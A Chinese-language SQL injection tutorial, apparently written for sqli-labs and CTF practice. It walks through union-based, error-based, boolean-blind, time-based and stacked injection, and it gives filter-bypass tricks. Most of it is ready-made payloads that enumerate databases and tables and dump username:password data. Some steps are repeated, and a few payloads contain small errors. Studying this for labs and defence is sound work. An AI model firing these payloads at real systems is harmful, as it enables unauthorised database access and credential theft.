联合查询注入(回显正常)
找到注入点
通常是在应用程序的URL参数、表单字段、Cookie或HTTP标头中
测试注入点
注释符
-
单行注释(–):
-
单行注释使用
--
,后面的内容会被视为注释。 -
示例:
1
SELECT * FROM users WHERE username = 'admin' -- AND password = '123';
-
-
*多行注释(/* /):
-
多行注释使用
/* */
,注释部分可以跨越多行。 -
示例:
1
SELECT * FROM users WHERE username = 'admin' /* AND password = '123' */;
-
-
MySQL特有的#号注释:
-
MySQL支持使用
#
号作为单行注释,#的URL编码是%23。 -
示例:
1
SELECT * FROM users WHERE username = 'admin' # AND password = '123';
-
-
+号在SQL中被编译为空格
确定字段
构造?id=-1 or 1=1 order by 4
确定columns只有3列
如果order by 后的数字小于等于有效列则会正常显示,如果大于有效列则会报错
联合查询
使用?id=-1' union select 1,2,3--+
确定回显位置,可见在2,3处回显
- 查询当前数据库
1 | select database(); |
- 查询所有的数据库
1 | select group_concat(schema_name) from information_schema.schemata; |
- 查询security的所有表名
1 | select table_name from information_schema.tables where table_schema = "security" limit 0,1; |
- 查询users的所有字段
1 | select column_name from information_schema.COLUMNS where table_schema = "security" and table_name="users" limit 0,1; |
给出一个完整URL实例:
1 | http://127.0.0.1:23334/Less-2/?id=-1%20union select 1,(select group_concat(column_name) from information_schema.COLUMNS where table_name="users"),3 |
- 查询security.user的所有数据
1 | select group_concat(username,':',password,'</br>') from users |
报错注入(只回显异常)
floor() 函数
floor()
函数通常用于取整,它在一些情况下会触发数据库的错误信息,从而泄露数据库的信息。
1 | (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) |
extractvalue() 函数
extractvalue()
是一个XML函数,它用于从XML数据中提取值。当提供的XPath表达式无效时,会触发错误。
1 | SELECT extractvalue(1, CONCAT(0x7e, (SELECT version()), 0x7e)); |
updatexml() 函数
updatexml()
也是一个XML函数,用于更新XML数据中的值。当提供的XPath表达式无效时,同样会触发错误。
1 | SELECT updatexml(null, CONCAT(0x7e, (SELECT user()), 0x7e), null); |
布尔盲注(只返回查询是否成功)
常用函数
substr(str,from,length)
:返回从下标为from截取长度为length的str子串。其中,首字符下标为1length(str)
:返回str串长度
盲注步骤
-
爆破数据库名长度
首先,通过循环i从1到无穷,使用
length(database()) = i
获取库名长度,i是长度,直到返回页面提示query_success
即猜测成功
1 | ?id=1 and length(database())=1 |
-
根据库名长度爆破库名
获得库名长度i后,使用
substr(database(),i,1)
将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符
1 | ?id=1 and substr(database(),1,1)=‘a’ |
-
对当前库爆破表数量
下一步是获取数据库内的表数量,使用mysql的查询语句select COUNT(*)。同样,要一个1到无穷的循环
3、对当前库爆表数量
下一步是获取数据库内的表数量,使用mysql的查询语句select COUNT(*)。同样,要一个1到无穷的循环
1 | ?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1 |
-
根据库名和表数量爆破表名长度
得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度
4、根据库名和表数量爆表名长度
得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度
1 | ?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1 |
-
根据表名长度爆破表名
再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名
1 | ?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘a’ |
-
对表爆破字段数量
操作同对当前库爆表数量的步骤,只是要查询的表不同
1 | ?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=1 |
-
根据表名和列数量爆列名长度
操作同对当前库爆表名长度的步骤,i是列标-1
1 | ?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=1 |
-
根据列名长度爆破列名
操作同对当前库爆表名的步骤,i是列标-1,j是字符下标
1 | ?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘a’ |
-
根据列名爆破数据
flag有固定的格式,以右大括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束
1 | ?id=1 and substr((select flag from sqli.flag),1,1)=“a” |
时间盲注
判断长度
利用MySQL的 if() 和 sleep() 判断查询结果的长度,从1开始判断,并依次递增。
?id=1' and if((length(查询语句) =1), sleep(5), 3)
如果页面响应时间超过5秒,说明长度判断正确,则sleep(5);
如果页面响应时间不超过5秒(正常响应),说明长度判断错误,继续递增判断长度。
枚举字符
利用MySQL的 if() 和 sleep() 判断字符的内容。
从查询结果中截取第一个字符,转换成ASCLL码,从32开始判断,递增至126。
?id=1' and if((ascii(substr(查询语句,1,1)) =1), sleep(5), 3)
如果页面响应时间超过5秒,说明字符内容判断正确;
如果页面响应时间不超过5秒(正常响应),说明字符内容判断错误,递增猜解该字符的其他可能性。
第一个字符猜解成功后,依次猜解第二个、第三个……第n个(n表示返回结果的长度)。
堆叠注入
在SQL语句中,语句的结束都是以;
结尾,但是在;
后面再加上一条SQL语句,两条语句会一起执行,在select
等关键词被过滤无法使用联合查询注入的时候可以使用堆叠注入。
-
查询数据库名
1
?id=1';show databases--+
-
查询表名
1 | ?id=1';show tables--+ |
-
查询字段名
1
?id=1';show columns from `words`--+
关于在这里使用 ` 而不是 ’ 的一些解释:
两者在linux下和windows下不同,linux下不区分,windows下区分。单引号或双引号主要用于字符串的引用符号,反引号 ` 数据库、表、索引、列和别名用的是引用符是反引号,有MYSQL保留字作为字段的,必须加上反引号来区分,如果是数值,不要使用引号。
-
查询记录
此时需要使用
select
可以使用concat进行拼接,1
2#payload:
id=1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#其中:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
绕过
-
绕过空格
使用SQL注释:
/**/
-
绕过关键字
- 替换为空:双写绕过
- 正则表达式:<>绕过(空字符),URL编码,大小写绕过,%00绕过
- 使用动态查询:mysql:union select -> ‘uni’+‘on’ ‘sele’+‘ct’
给个现成链接:MySQL注入